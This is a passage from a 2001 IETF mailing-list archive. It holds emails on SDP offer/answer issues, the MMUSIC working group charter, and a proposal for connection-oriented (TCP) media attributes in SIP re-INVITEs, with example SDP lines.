> > Jonathan Rosenberg wrote:
> > >
> > > Folks,
> > >
> > > I want to try and move swiftly towards closure of the open issues in
> > > offer/answer. I presented slides at IETF 52 on these issues, which you
> > > can pick up from:
> >
> > > ISSUE 2: Be prepared to send&recv on bidirectional stream when you send
> > > the SDP. Consensus to update text to indicate that you need to be
> > > prepared to both send and receive.
> >
> > I don't understand the point in requiring someone to be prepared to
> > send.
> >
> 
> There were two issues here. First one was that we always want codecs listed on
> a bi-directional stream to indicate a send and receive capability. Second one
> was, that even if you have only sent an initial offer, and not yet gotten a
> response, it is possible to send media when using connection-oriented media
> streams if the connection is established before you get the answer. In that
> case, you need to be prepared to both send and receive at the time of the
> offer.

From confctrl-owner  Fri Dec 21 06:10:06 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA15816
	for confctrl-outgoing; Fri, 21 Dec 2001 06:10:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA15811
	for <confctrl@zephyr.isi.edu>; Fri, 21 Dec 2001 06:10:04 -0800 (PST)
Received: from nisser.cisco.com (nisser.cisco.com [171.71.176.85])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBLEAsg29701
	for <confctrl@ISI.EDU>; Fri, 21 Dec 2001 06:10:54 -0800 (PST)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by nisser.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id GAA13613; Fri, 21 Dec 2001 06:10:09 -0800 (PST)
Message-ID: <3C2342E1.83EB1CFD@cisco.com>
Date: Fri, 21 Dec 2001 09:10:41 -0500
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, mmusic@ietf.org,
        confctrl@ISI.EDU
Subject: Re: [MMUSIC] Re: resolving open issues in offer/answer
References: <3C2041D2.2030908@dynamicsoft.com> <3C223470.18E804AE@cisco.com> <3C22C921.71BA0AE@cisco.com> <3C233F5C.C29DBC60@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Paul Kyzivat wrote:

> Sorry, but I still don't get it.
>
> Let me put it another way. This is adding normative language requiring
> the sender of SDP to be prepared to send. How would that be verified? Is
> there any possible way to distinguish between being unprepared to send
> (nonconforming) and simply having no desire to send (conforming)?

No, but it ensures, that if the answerer picks any one of those codecs, then the
offerer will actually be able to send, should he so desire.

-- Flemming


>
>
>         Paul
>
> Flemming Andreasen wrote:
> >
> > Paul Kyzivat wrote:
> >
> > > Comments below - Paul
> > >
> > > Jonathan Rosenberg wrote:
> > > >
> > > > Folks,
> > > >
> > > > I want to try and move swiftly towards closure of the open issues in
> > > > offer/answer. I presented slides at IETF 52 on these issues, which you
> > > > can pick up from:
> > >
> > > > ISSUE 2: Be prepared to send&recv on bidirectional stream when you send
> > > > the SDP. Consensus to update text to indicate that you need to be
> > > > prepared to both send and receive.
> > >
> > > I don't understand the point in requiring someone to be prepared to
> > > send.
> > >
> >
> > There were two issues here. First one was that we always want codecs listed on
> > a bi-directional stream to indicate a send and receive capability. Second one
> > was, that even if you have only sent an initial offer, and not yet gotten a
> > response, it is possible to send media when using connection-oriented media
> > streams if the connection is established before you get the answer. In that
> > case, you need to be prepared to both send and receive at the time of the
> > offer.

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Fri Dec 21 08:45:58 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA20940
	for confctrl-outgoing; Fri, 21 Dec 2001 08:45:58 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA20935
	for <confctrl@zephyr.isi.edu>; Fri, 21 Dec 2001 08:45:57 -0800 (PST)
Received: from hafez.nge.isi.edu (hafez.nge.isi.edu [65.114.169.194])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBLGkkg12208
	for <confctrl@isi.edu>; Fri, 21 Dec 2001 08:46:46 -0800 (PST)
Received: from hafez (csp@localhost)
	by hafez.nge.isi.edu (8.11.6/8.11.6) with ESMTP id fBLGkie15767;
	Fri, 21 Dec 2001 11:46:45 -0500
Message-Id: <200112211646.fBLGkie15767@hafez.nge.isi.edu>
To: mmusic@ietf.org
Subject: Charter updated
cc: confctrl@ISI.EDU
Date: Fri, 21 Dec 2001 11:46:44 -0500
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

The IESG has approved the enclosed charter for the MMUSIC working group.
Expect the charter webpage to be updated shortly. 

Note that the old mailing list <confctrl@isi.edu> will be shutdown at the
end of this year. You should subscribe to the <mmusic@ietf.org> list now,
following the instructions below.

Regards,
Colin




==============================================================================
Multiparty MUltimedia SessIon Control (MMUSIC)
==============================================

WG chairs:

- Joerg Ott <jo@ipdialog.com>
- Colin Perkins <csp@isi.edu>

Transport Area advisor:  Allison Mankin

Mailing Lists: 

General Discussion:  mmusic@ietf.org
To Subscribe:	     mmusic-request@ietf.org
Info & Archive:	     http://www.ietf.org/mailman/listinfo/mmusic
Additional web page: http://www.dmn.tzi.de/ietf/mmusic/

Description of Working Group: 

The Multiparty MUltimedia SessIon Control (MMUSIC) Working Group (WG) 
was chartered to develop protocols to support Internet teleconferencing
sessions.These protocols are now reasonably mature, and many of them have
received widespread deployment.  MMUSIC is now focussing on the revisions
of these in the light of implementation experience and additional demands
that have arisen from other WGs (such as AVT, SIP, SIPPING, and MEGACO).

All types of multimedia communications are based upon a common
platform for expressing media streams (session) descriptions. This is
the session description protocol, SDP.  The many uses of SDP have led
to (requests for) numerous extensions, and have led to recognition of
several flaws in the protocol design for key applications of SDP.
MMUSIC will revise the SDP specification suitable for publication as a
draft standard to address minor revision and further support the
current broad deployment.  Work on an SDP MIB will be considered.

Various extensions to SDP will be pursued to remedy the most urgent of
SDP's shortcomings: However, these are limited to, adding means for
identifying and semantically grouping media sessions, providing limited
expressiveness for simultaneous capabilities, use of SDP in conjunction
with connection-oriented media such as TCP and SCTP, offering support to
work with NATs and firewalls, and documenting the use of SDP in SIP as a
separate document.  Existing key exchange per media session in SDP will be
cleaned up.

Apart from these, which have been explicitly agreed to by the Area
Directors and shown in the milestones, only extensions within the existing
framework of SDP will be done -- such as registering new codecs and
defining parameters for them extending SDP to include new address families.

To address the more fundamental issues with SDP, a next generation of SDP
-- referred to as SDPng -- has been in progress and will be continued
towards a standards track document.  A requirements document will be
devised that gathers the individual requirements from the areas in which
SDP is currently deployed.  Work on an SDPng MIB will be considered.

MMUSIC will continue to maintain and revise the specification of the Real
Time Streaming Protocol (RTSP) based on implementation experience. The RTSP
spec will be revised to include various fixes and clarifications.
Depending on the changes, the revised RTSP spec will be re-issued as
Proposed or go to Draft Standard. A MIB will also be defined.

The WG's work items will be pursued in close coordination with other
IETF WGs related to multimedia conferencing and IP telephony (AVT,
SIP, SIPPING, IPTEL, MEGACO).  Where appropriate, new separate working
groups will be split off (as has happened with the SIP WG).

The Working Group is also charged with addressing security issues
related to the protocols it develops.


Goals and Milestones:

DONE   Submit ATM Extensions to SDP for Proposed Standard

DONE   Submit Mbus transport for Informational

DONE   Submit ATM Extensions to SDP for Proposed Standard

DONE   Submit SDP simultaneous capabilities for Proposed Standard

DONE   Submit SDP Flow Identification for Proposed Standard

Dec 01 Submit IPv6 Extensions to SDP for Proposed Standard

Dec 01 Submit SIP's offer/answer use of SDP for Proposed Standard

Jan 02 Submit SDP4NAT for Proposed Standard (Informational?) 

Feb 02 Submit revised SDP spec for Proposed (or Draft) Standard

Feb 02 Submit draft on SDPng motivations, comparisons with
       current SDP capabilities.  Request charter review on
       SDPng work from IAB and IESG.

Mar 02 Submit SDP key management for Proposed Standard

Apr 02 Submit SDPng base spec and audio profile for Proposed Standard

May 02 Submit revised RTSP spec for Proposed or Draft Standard (as appropriate)

Jun 02 Submit SDPng video profile spec for Proposed Standard

Jul 02 Submit RTSP MIB for Proposed Standard

Jul 02 Conclude WG


From confctrl-owner  Fri Dec 21 09:54:30 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA23231
	for confctrl-outgoing; Fri, 21 Dec 2001 09:54:30 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA23226
	for <confctrl@zephyr.isi.edu>; Fri, 21 Dec 2001 09:54:29 -0800 (PST)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBLHtIg21943
	for <confctrl@ISI.EDU>; Fri, 21 Dec 2001 09:55:18 -0800 (PST)
Received: from tzi.uni-bremen.de (root@localhost [127.0.0.1])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id fBLHsvD24730;
	Fri, 21 Dec 2001 18:54:57 +0100 (MET)
Message-ID: <3C237790.C2893C2E@tzi.uni-bremen.de>
Date: Fri, 21 Dec 2001 18:55:28 +0100
From: Joerg Ott <jo@tzi.uni-bremen.de>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: David Yon <Yon@dialout.net>, "confctrl@isi.edu" <confctrl@ISI.EDU>
Subject: Re: Comedia/reuse motivations
References: <DCFB33B6D8BCC54B8219D8B90645866E13BF11@dnimail.Dialout.net> <3C1F747A.9D7B945B@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

(A side remark: I'd prefer that we discuss concepts and take into account
implementation issues rather than discussing implementations and may be
lucky that some concept falls out, too :-)

The more I read and think about this stuff the more I get to the conclusion
that the current comedia "model" (if any) is somewhat broken.  Not because the
the attributes and procedures specified don't make sense but because we have
not defined a proper mapping of the SDP and, in particular, RTP session
model for connection-oriented operation.

I think Paul's concerns are reasonable -- but right now the focus of the
discussion seems to be about hacking even more upon a hack than trying to
get the hack (sorry for the term, David :-) right in the first place.

Let's take a step back.  In RTP, a unicast session is defined by the
respective receiving peer's transport addresses which are conveyed as part
of the SDP description.

An offer/answer exchange in SIP or a SETUP/DESCRIBE combination in RTSP
are used to indicate to a peer to which port to send which media stream
using which codecs and which parameters.  Typically, this information is
exchanged (directly) between the involved parties, i.e. there is no
out-of-band mechanism by which the information would magically reach a 
third party.  Even in the centralized SIP conferencing model with decentralized
media transmitted via multi-unicast we have this kind of (peerwise) exchange
of session information to set up multiple point-to-point sessions.
This is only different for SAP-style announcements -- but those inherently
assume multicast data distribution.

In summary, in interactive scenarios, for each unicast RTP session, one SDP
exchange is carried out to instantiate (and later on modify) this session.

In case of a multi-unicast conference, we have potentially fewer exchanges
but nevertheless, in the symmetric case, one session established for each
peer (since the endpoint needs to know where to send media to).

That is, in a well-setup environment you DO NOT receive media from another
endpoint than the one(s) you have an explicitly established RTP session to
(you need to send RTCP to your peer).  Hence the point that you receive
RTP on the same UDP port from different peers is true ONLY if you also
have set up session to them.  And so the point that anybody may set up
a (or any number of) TCP connection(s) does not apply.  Whatever model
we come up with for TCP should mirror this behavior properly.  Apparently,
so far we hve only taken the first step towards connection-oriented media
without thinking this to the very end.

Further comments below.

> > So you're saying that compared to UDP, a TCP implementation is a 2X hit
> > on resources, because you need twice as many threads.  The assertion is
> > that you need one thread to be a listener and 2nd thread to be a media
> > pump once the connection has been established.  Again, I don't get it.
> > Once you've accepting the connection advertised in the SDP, why is the
> > listener thread needed?  You've fulfilled your promise to the endpoint
> > and are under no obligation to accept another connection.  In fact, why
> > two threads?  Just have a single thread to do listen, accept, close
> > listener, then pump media.
> 
> This is exactly what I would like to do!
> 
> But doing this requires that all parties agree on when connections may
> be established and when they may not. It is uncertainty over when this
> is that forces a listener to be active at all times. What I am trying to
> do is get verbage in the comedia specification that permits this kind of
> behavior.

This is exactly wht should be possible.  

> The most obvious problem is with reinvites:
> 
> Suppose I do as you suggest on the initial invite. As soon as I get a
> connection, I stop listening and start receiving media.
> - suppose there is a subsequent reinvite that isn't intended to
>   affect this media stream. So I have to duplicate all the SDP
>   from the prior invite.
> - MUST the other end now make a new connection? (hopefully not)
> - MAY the other end now make a new connection?
>   (recovery scenarios may require this)
> - must I now listen again on the listening port?
> - how long should I wait for a new connection before I cease listening?
> 

Obviously, there are a number of things one can do with an INVITE:

1. Let the other party know your transport address to enable media
   exchange; this is typically what the initial INVITE does.

--> instantiate NEW state in remote peer
--> initiate a connection setup in remote peer and accept an
    incoming connection, respectively
--> The initiator of the TCP connection is likely to do exactly
    one connect() per INVITE and TCP media session; the passive
    peer is expected to accept exactly one TCP connection per
    peer an INVITE is sent to.  This is a problem for centralized
    conferencing with distributed media; hence we include the
    number of connections to be set up (i.e. the number of peers
    to talk to).
--> (enable media exchange after setup)

   Note that if, by accident, we set up two TCP connections, both
   of these need to be dealt with subsequently.

2. Let the other party know to cease transmitting data ("on hold")
   With RTP/AVP/UDP, this is done by using e.g. a=inactive

--> Suspend media flow via the TCP connection(s)
--> Need to indicate whether or not the connection shall be kept or
    whether disconnect should be initiated.

    In case we send reliable data over the TCP connection, we may
    need to find a way to synchronization application media flow
    with tearing down the connection to avoid losing data.
    (but we may find this by far too specific and just do not worry)

3. Taking a remote party "off-hold"
   With RTP/AVP/UDP, this is done by changing from a=inactive back
   to e.g. a=sendrecv.

--> Re-use the existing TCP connection or establish a new one.
--> Depends on what we decide for 2.

4. Redirecting a media stream to a different address.  With RTP/AVP/UDP
   this is simply achieved by putting a different transport address in.

--> Conceptually to be treated differently from 2. and 3. but may be 
    used in conjunction e.g. for switching to and from music-on-hold.
--> Obviously, this means closing the TCP connection and opening a new
    one or by terminating the call or streaming session (or by no longer
    transmitting RTP and RTCP).

5. Changing the acceptable capabilities for a media stream needs to
   be possible without tearing down the TCP connection and bringing
   up a new one.  Depending on the specific application, however, this
   may be necessary (as soon as the mode of operation changes).
   
--> Something like "reuse" is required here.
--> In case a "codec" change requires tearing down the old and setting
    up a new connection, this should also be signaled via some mechanism.

   Strictly speaking, the type of transport is, particularly when we
   are talking about RTP, also just another media stream capability.
   Hence the same m= would need to be used.  Or FID would need to
   specify a grouping that indicates that TCP as well as UDP are
   available for a certain stream.

6. Terminating a media stream is implicitly provided by rejecting the
   media description with port=0.

--> This implies closing all TCP connections associated with this stream.
    Should be possible to signal this.

7. For RTP we support layered coding; something similar may need to be
   provided for TCP, e.g. if you want to allow for independently flow-
   controlled streams belonging to the same application.

--> TCP connections may be set up to the same port if distinguishing
    them is support by the application layer protocol.  If so, we only
    need to specify how many TCP connections should be expected.
--> Alternatively, different ports may be used to distinguish them;
    in this case, we need to allow for multiple transport addresses
    (not just port numbers!), too.
--> Think of it, conceptually, but specify it now only if really needed.
--> How much does this resemle requirements for 

8. ... (Anything important missing in this list?)

It is important to keep in mind that each SDP should be self-describing;
so there should not be something like "if the address changes, then do X".

--

So, in principle, what we need are a few "primitives" as part of the
(re-)INVITE to control the operation.  The basic primitives include

a)  create a new connection to some destination
b)  close an existing connection
c)  pause media flowing across a connection
d)  re-instantiate a media stream across a connection

Initially, a) is required, hence this should be the default behavior
(which also makes it reasonably backward compatible).  At least the
following permutations are conceivable:

- a) and b) may be combined to redirect a media stream
- b) and c) may be combined to stop a media flow
- a) and d) may be combined to resume a media flow 
- a), b), and d) may be combined to resume a media flow and direct it
  to a different target

In addition, we need to signal how many connections shall be created
or created, possibly subdivided into "maximum # of connections",
"current # number of connections", "# connections to be opened/closed".

Finally, we need a way to convey that multiple connections between the
same two endpoints shall be opened.  Note that in this case, all
operations should be carried out on all connections simultaneously;
otherwiese this gets too messy.

--

Here is a strawman proposal on for the modified procedures to follow:
(there are still some issues -- see below -- but I'd like to get this out
before Christmas) right now only showing examples.  Further text will
follow:

For suspending and resuming media streams, we just use the usual attributes
(senddonly,recvonly,sendrecv,inactive).

The following nwq attributes could then be used in addition to achieve the
above:

    a=new:<k>

    This attribute is used to indicate that a new connection shall be created.
    <k> indicates the number of connections to be newly created or accepted.
    If not present, the value defaults to "a=new:1"

    a=reuse

    The existing connection(s) shall be re-used.

    Note that we could also default to "a=reuse" but then we'd have to mandate
    a=new:1 in the initial INVITE, the SAP announcement, etc.

    a=close:<identification?>

    This attribute is used to indicate that the existing connection(s) shall be
    closed.  Some identification may be needed here.

    a=nconn:<total> <max>

    This attribute is used to indicate how many connections the peer(r) is
    expected have open in total after (or before? need to make a choice here)
    new ones are created and old ones closed) and also the maximum number of 
    simultaneous connections support by the peer.  The value "*" is used to
    indicate infinity.  (This would e.g. be used for SAP announcements or
    whenever many parties are supposed to connect to a single server.)

    The default value are "a=nconn:1 *".


The attributes from the comedia draft are used as specified there:

    a=direction:passive,active,both

Some Issues:

1.  If a close: attribute is present, how does the receiver determine which
    connection to close?  Provide explicitly the IP address + port of the
    peer?  What to do if these are not known?  What to do if a listening
    port has been used to accept multiple connections at the peer? Specify
    the other side as well?  Again, these might not be known.  Introduce
    IDs?  Just saying "all or nothing" is not necessarily appropriate.

    Suggestion: is "all or nothing" enough?

2.  The entire close: may get nasty if separate applications are forked to
    handle the communication via TCP.  How does one synchronize these
    media streams with re-INVITEs?

    Suggestion: do not worry; put in a note that this needs to be solved
    per application.  E.g. if I transmit a fax and put the call on hold
    this may not necessarily be a good idea.

--

1. Simple setup of a connection-oriented media session

   Take the example from the current comedia spec would remain identical
   in the simplest case, e.g. as follows:

        c=IN IP4 10.1.1.2 
        m=image 54111 TCP t38 
        a=direction:passive
       [a=new:1]
       [a=nconn:1 *]

2./3. Media-on-hold is signalled similar to RTP by using e.g. a=inactive.
   For media-on-hold the TCP connection MUST be kept open (and thus an
   a=reuse MUST be given) unless a=close is specified; in this case,
   a resume for the media stream MUST NOT contain an a=reuse

   On-hold without closing

        c=IN IP4 10.1.1.2 
        m=image 54111 TCP t38 
        a=inactive
        a=reuse

   Off-hold without closing

        c=IN IP4 10.1.1.2 
        m=image 54111 TCP t38 
       [a=sendrecv]
        a=reuse

   On-hold with closing

        c=IN IP4 10.1.1.2 
        m=image 54111 TCP t38 
        a=inactive
        a=close

   Off-hold after closing

        c=IN IP4 10.1.1.2 
        m=image 54111 TCP t38 
       [a=sendrecv]
        a=direction:passive
       [a=new:1]
       [a=nconn:1 *]
        
4. Re-direct to a different address; if a close is specified,
   then new MUST specified if the stream should continue right away

        c=IN IP4 10.1.1.2 
        m=image 54111 TCP t38 
        a=close
        a=passive
        a=new:1

   Of course, this may be combined with on-hold/off-hold with closing.

5. Change stream caps

   Initial INVITE

        c=IN IP4 10.1.1.2 
        m=image 54111 TCP t38 
        a=passive

   Re-INVITE

        c=IN IP4 10.1.1.2 
        m=image 54111 TCP xyz
        a=reuse
 
6. Stream termination

   Re-INVITE:

        c=IN IP4 10.1.1.2 
        m=image 54111 TCP t38 
        a=close

   (this will allow to re-use the media stream later on)
 
   or

        c=IN IP4 10.1.1.2 
        m=image 0 TCP t38 

   (this will not allow later re-use)

7. Support for multiple connections

   Initial INVITE: set up two connections (max 4 are supported)

        c=IN IP4 10.1.1.2 
        m=image 54111 TCP ftp-data
        a=new:2
        a=passive
        a=nconn:2 4

   Re-INVITE: add another connection (here a=new: is mandatory)

        c=IN IP4 10.1.1.2 
        m=image 54111 TCP ftp-data
        a=new:1
        a=nconn:3 4
        
As noted above, some more detailed spec tex will follow.

Cheers,
Joerg

From confctrl-owner  Fri Dec 21 11:08:30 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA25949
	for confctrl-outgoing; Fri, 21 Dec 2001 11:08:30 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA25944
	for <confctrl@zephyr.isi.edu>; Fri, 21 Dec 2001 11:08:28 -0800 (PST)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBLJ9Hg02298
	for <confctrl@ISI.EDU>; Fri, 21 Dec 2001 11:09:17 -0800 (PST)
Received: from cannon.cisco.com (localhost [127.0.0.1])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fBLJ9IJ25342;
	Fri, 21 Dec 2001 14:09:18 -0500 (EST)
Received: from cisco.com (dhcp-161-44-241-140.cisco.com [161.44.241.140])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAH25027 (AUTH pkyzivat);
	Fri, 21 Dec 2001 14:10:33 -0500 (EST)
Message-ID: <3C2387D6.1EB33DE9@cisco.com>
Date: Fri, 21 Dec 2001 14:04:54 -0500
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Joerg Ott <jo@tzi.uni-bremen.de>
CC: David Yon <Yon@dialout.net>, "confctrl@isi.edu" <confctrl@ISI.EDU>
Subject: Re: Comedia/reuse motivations
References: <DCFB33B6D8BCC54B8219D8B90645866E13BF11@dnimail.Dialout.net> <3C1F747A.9D7B945B@cisco.com> <3C237790.C2893C2E@tzi.uni-bremen.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Joerg,

I just got this, and want to think about it further before responding in
detail. I think you are on a helpful track. 

One thing I am concerned about is similar to the concerns I already had
with a:reuse. In current SDP offer/answer model, in a reinvite you can
always send the same SDP description of a media stream as last time to
indicate that no change is intended. This is important when handling
calls involving multiple media streams because you are required to
transmit a full set even if you only want to change one. 

This proposal breaks that precedent. If you want to send a reinvite but
not cause any change to a comedia media description you most likely will
have to change the SDP from what was sent last time. Consider support
for session timers: you know your session timer is going to expire and
so need to send a reinvite to renew it. But you can't send the same SDP
as before - you must rewrite it. This can affect layering of an
implementation.

So, I would like to see a design where sending identical SDP implies
that nothing has changed. In this case, I believe that requires some
sort of version stamping of individual media descriptions.

	Paul 

P.S. This ain't going to get done by Xmas.

Joerg Ott wrote:
> 
> (A side remark: I'd prefer that we discuss concepts and take into account
> implementation issues rather than discussing implementations and may be
> lucky that some concept falls out, too :-)
> 
> The more I read and think about this stuff the more I get to the conclusion
> that the current comedia "model" (if any) is somewhat broken.  Not because the
> the attributes and procedures specified don't make sense but because we have
> not defined a proper mapping of the SDP and, in particular, RTP session
> model for connection-oriented operation.
> 
> I think Paul's concerns are reasonable -- but right now the focus of the
> discussion seems to be about hacking even more upon a hack than trying to
> get the hack (sorry for the term, David :-) right in the first place.
> 
> Let's take a step back.  In RTP, a unicast session is defined by the
> respective receiving peer's transport addresses which are conveyed as part
> of the SDP description.
> 
> An offer/answer exchange in SIP or a SETUP/DESCRIBE combination in RTSP
> are used to indicate to a peer to which port to send which media stream
> using which codecs and which parameters.  Typically, this information is
> exchanged (directly) between the involved parties, i.e. there is no
> out-of-band mechanism by which the information would magically reach a
> third party.  Even in the centralized SIP conferencing model with decentralized
> media transmitted via multi-unicast we have this kind of (peerwise) exchange
> of session information to set up multiple point-to-point sessions.
> This is only different for SAP-style announcements -- but those inherently
> assume multicast data distribution.
> 
> In summary, in interactive scenarios, for each unicast RTP session, one SDP
> exchange is carried out to instantiate (and later on modify) this session.
> 
> In case of a multi-unicast conference, we have potentially fewer exchanges
> but nevertheless, in the symmetric case, one session established for each
> peer (since the endpoint needs to know where to send media to).
> 
> That is, in a well-setup environment you DO NOT receive media from another
> endpoint than the one(s) you have an explicitly established RTP session to
> (you need to send RTCP to your peer).  Hence the point that you receive
> RTP on the same UDP port from different peers is true ONLY if you also
> have set up session to them.  And so the point that anybody may set up
> a (or any number of) TCP connection(s) does not apply.  Whatever model
> we come up with for TCP should mirror this behavior properly.  Apparently,
> so far we hve only taken the first step towards connection-oriented media
> without thinking this to the very end.
> 
> Further comments below.
> 
> > > So you're saying that compared to UDP, a TCP implementation is a 2X hit
> > > on resources, because you need twice as many threads.  The assertion is
> > > that you need one thread to be a listener and 2nd thread to be a media
> > > pump once the connection has been established.  Again, I don't get it.
> > > Once you've accepting the connection advertised in the SDP, why is the
> > > listener thread needed?  You've fulfilled your promise to the endpoint
> > > and are under no obligation to accept another connection.  In fact, why
> > > two threads?  Just have a single thread to do listen, accept, close
> > > listener, then pump media.
> >
> > This is exactly what I would like to do!
> >
> > But doing this requires that all parties agree on when connections may
> > be established and when they may not. It is uncertainty over when this
> > is that forces a listener to be active at all times. What I am trying to
> > do is get verbage in the comedia specification that permits this kind of
> > behavior.
> 
> This is exactly wht should be possible.
> 
> > The most obvious problem is with reinvites:
> >
> > Suppose I do as you suggest on the initial invite. As soon as I get a
> > connection, I stop listening and start receiving media.
> > - suppose there is a subsequent reinvite that isn't intended to
> >   affect this media stream. So I have to duplicate all the SDP
> >   from the prior invite.
> > - MUST the other end now make a new connection? (hopefully not)
> > - MAY the other end now make a new connection?
> >   (recovery scenarios may require this)
> > - must I now listen again on the listening port?
> > - how long should I wait for a new connection before I cease listening?
> >
> 
> Obviously, there are a number of things one can do with an INVITE:
> 
> 1. Let the other party know your transport address to enable media
>    exchange; this is typically what the initial INVITE does.
> 
> --> instantiate NEW state in remote peer
> --> initiate a connection setup in remote peer and accept an
>     incoming connection, respectively
> --> The initiator of the TCP connection is likely to do exactly
>     one connect() per INVITE and TCP media session; the passive
>     peer is expected to accept exactly one TCP connection per
>     peer an INVITE is sent to.  This is a problem for centralized
>     conferencing with distributed media; hence we include the
>     number of connections to be set up (i.e. the number of peers
>     to talk to).
> --> (enable media exchange after setup)
> 
>    Note that if, by accident, we set up two TCP connections, both
>    of these need to be dealt with subsequently.
> 
> 2. Let the other party know to cease transmitting data ("on hold")
>    With RTP/AVP/UDP, this is done by using e.g. a=inactive
> 
> --> Suspend media flow via the TCP connection(s)
> --> Need to indicate whether or not the connection shall be kept or
>     whether disconnect should be initiated.
> 
>     In case we send reliable data over the TCP connection, we may
>     need to find a way to synchronization application media flow
>     with tearing down the connection to avoid losing data.
>     (but we may find this by far too specific and just do not worry)
> 
> 3. Taking a remote party "off-hold"
>    With RTP/AVP/UDP, this is done by changing from a=inactive back
>    to e.g. a=sendrecv.
> 
> --> Re-use the existing TCP connection or establish a new one.
> --> Depends on what we decide for 2.
> 
> 4. Redirecting a media stream to a different address.  With RTP/AVP/UDP
>    this is simply achieved by putting a different transport address in.
> 
> --> Conceptually to be treated differently from 2. and 3. but may be
>     used in conjunction e.g. for switching to and from music-on-hold.
> --> Obviously, this means closing the TCP connection and opening a new
>     one or by terminating the call or streaming session (or by no longer
>     transmitting RTP and RTCP).
> 
> 5. Changing the acceptable capabilities for a media stream needs to
>    be possible without tearing down the TCP connection and bringing
>    up a new one.  Depending on the specific application, however, this
>    may be necessary (as soon as the mode of operation changes).
> 
> --> Something like "reuse" is required here.
> --> In case a "codec" change requires tearing down the old and setting
>     up a new connection, this should also be signaled via some mechanism.
> 
>    Strictly speaking, the type of transport is, particularly when we
>    are talking about RTP, also just another media stream capability.
>    Hence the same m= would need to be used.  Or FID would need to
>    specify a grouping that indicates that TCP as well as UDP are
>    available for a certain stream.
> 
> 6. Terminating a media stream is implicitly provided by rejecting the
>    media description with port=0.
> 
> --> This implies closing all TCP connections associated with this stream.
>     Should be possible to signal this.
> 
> 7. For RTP we support layered coding; something similar may need to be
>    provided for TCP, e.g. if you want to allow for independently flow-
>    controlled streams belonging to the same application.
> 
> --> TCP connections may be set up to the same port if distinguishing
>     them is support by the application layer protocol.  If so, we only
>     need to specify how many TCP connections should be expected.
> --> Alternatively, different ports may be used to distinguish them;
>     in this case, we need to allow for multiple transport addresses
>     (not just port numbers!), too.
> --> Think of it, conceptually, but specify it now only if really needed.
> --> How much does this resemle requirements for
> 
> 8. ... (Anything important missing in this list?)
> 
> It is important to keep in mind that each SDP should be self-describing;
> so there should not be something like "if the address changes, then do X".
> 
> --
> 
> So, in principle, what we need are a few "primitives" as part of the
> (re-)INVITE to control the operation.  The basic primitives include
> 
> a)  create a new connection to some destination
> b)  close an existing connection
> c)  pause media flowing across a connection
> d)  re-instantiate a media stream across a connection
> 
> Initially, a) is required, hence this should be the default behavior
> (which also makes it reasonably backward compatible).  At least the
> following permutations are conceivable:
> 
> - a) and b) may be combined to redirect a media stream
> - b) and c) may be combined to stop a media flow
> - a) and d) may be combined to resume a media flow
> - a), b), and d) may be combined to resume a media flow and direct it
>   to a different target
> 
> In addition, we need to signal how many connections shall be created
> or created, possibly subdivided into "maximum # of connections",
> "current # number of connections", "# connections to be opened/closed".
> 
> Finally, we need a way to convey that multiple connections between the
> same two endpoints shall be opened.  Note that in this case, all
> operations should be carried out on all connections simultaneously;
> otherwiese this gets too messy.
> 
> --
> 
> Here is a strawman proposal on for the modified procedures to follow:
> (there are still some issues -- see below -- but I'd like to get this out
> before Christmas) right now only showing examples.  Further text will
> follow:
> 
> For suspending and resuming media streams, we just use the usual attributes
> (senddonly,recvonly,sendrecv,inactive).
> 
> The following nwq attributes could then be used in addition to achieve the
> above:
> 
>     a=new:<k>
> 
